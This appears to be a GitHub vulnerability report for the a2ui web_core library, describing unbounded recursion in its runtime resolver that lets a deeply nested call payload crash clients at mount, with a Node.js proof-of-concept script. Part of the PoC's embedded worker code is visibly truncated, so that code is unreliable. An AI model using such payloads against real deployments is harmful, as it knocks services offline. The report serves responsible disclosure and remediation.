a2ui-project / a2ui-project/a2ui
[BUG]: Nested `{call}` arguments recurse without a depth guard in the runtime resolver (stack overflow on mount)
- Vorherrschende Sprache
- TypeScript
- Sterne
- 16.4k
- Forks
- 1.3k
- Ø Merge
- 2 T. 13 Std.
- Gemergte PRs (30 T.)
- 134
Beschreibung
# Nested `{call}` arguments recurse without a depth guard in the runtime resolver (stack overflow on mount)
Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-674 (Uncontrolled Recursion) / CWE-400
## Summary
Because `FunctionCall.args` is `z.record(z.any())`, an argument value may itself be a `{call}` object, and `DataContext.resolveSignal` recurses into each nested call — with **no depth guard**. The expression *parser* caps nesting at `MAX_DEPTH = 10`, but the runtime resolver that evaluates already-structured payloads has no equivalent limit. A dynamic property whose value is a 20,000-deep chain of `{call:'regex', args:{value: {call:…}}}` exhausts the stack during initial prop resolution — i.e., when the surface mounts, with no user interaction. This is distinct from the renderer-layer DoS reported in the first advisory batch (deep component *trees*); the recursion here is in function-call *argument structure*, before any rendering.
## Affected code
- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `resolveSignal` recurses per nested `{call}` arg, no depth parameter or guard (npm dist `v0_9/rendering/data-context.js:149-150`)
- Contrast: `renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts` — parser-side `MAX_DEPTH = 10` (npm dist `…/expression_parser.js:26`) shows the intended bound
## Observed behavior (measured)
Published package; a TextField `value` bound to a 20,000-deep nested call crashes at mount (isolated in a Worker thread with its own stack so the harness can capture the error):
```
RangeError: Maximum call stack size exceeded
at DataContext.resolveSignal (…/rendering/data-context.js:149:48)
at DataContext.resolveSignal (…/rendering/data-context.js:150:40) ← repeated
```
(8,000-deep chains did not yet overflow in the same Worker configuration; 20,000 does, reliably.)
## Impact
One spec-valid `updateComponents` message reliably crashes the client (stack exhaustion) at surface mount. No gesture, no preconditions. Availability only.
## Suggested remediation
- Thread a depth counter through `resolveSignal` (mirroring the parser's `MAX_DEPTH`) and reject nested-call chains beyond it with an `A2uiExpressionError`.
## PoC
Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. The script below is self-contained: it writes its worker helper (shown in the embedded string) next to itself, then runs the mount inside the Worker so the `RangeError` can be reported instead of killing the process. Run `node poc_f24.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.
```js
// poc_f24.mjs — F-24: nested {call} args → resolveSignal unbounded recursion →
// stack overflow on MOUNT (no gesture, no depth guard). The overflow crashes the
// JS stack; we isolate it in a Worker (own stack) and capture its error so the
// host can report cleanly.
import { Worker } from 'node:worker_threads';
import { writeFileSync } from 'node:fs';
import { join } from 'node:path';
import { fileURLToPath } from 'node:url';
const workerSrc = `
import { parentPort } from 'node:worker_threads';
import { MessageProcessor, ComponentContext, GenericBinder, Catalog } from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
function nestedCall(d){ let c={path:'/x'}; for(let i=0;i{});
parentPort.postMessage({thrown:false});
} catch(e){ parentPort.postMessage({thrown:true,name:String(e?.name||''),head:String(e?.stack||'').split('\\n').slice(0,5).join(' | ')}); }
`;
const here = fileURLToPath(new URL('.', import.meta.url));
const workerPath = join(here, '.poc_f24_worker.mjs');
writeFileSync(workerPath, workerSrc);
const result = await new Promise((res) => {
const w = new Worker(workerPath);
const t = setTimeout(() => res({ thrown: false, timeout: true }), 8000);
w.on('message', (m) => { clearTimeout(t); res(m); w.terminate(); });
w.on('error', (e) => { clearTimeout(t); res({ thrown: true, name: String(e?.name || ''), head: String(e?.stack || e?.message || '').split('\n').slice(0, 4).join(' | ') }); w.terminate(); });
});
// if the worker crashed before postMessage, its 'error' event carries the RangeError
const so = result.thrown && /RangeError|Maximum call stack|resolveSignal/i.test(result.name + ' ' + result.head);
console.log(JSON.stringify({ finding: 'F-24-nested-call-args-stack-overflow', depth: 20000, worker_result: result, confirmed: so }, null, 2));
process.exit(so ? 0 : 1);
```
Beitragsleitfaden
Bewertung
Dieses Issue wurde noch nicht bewertet.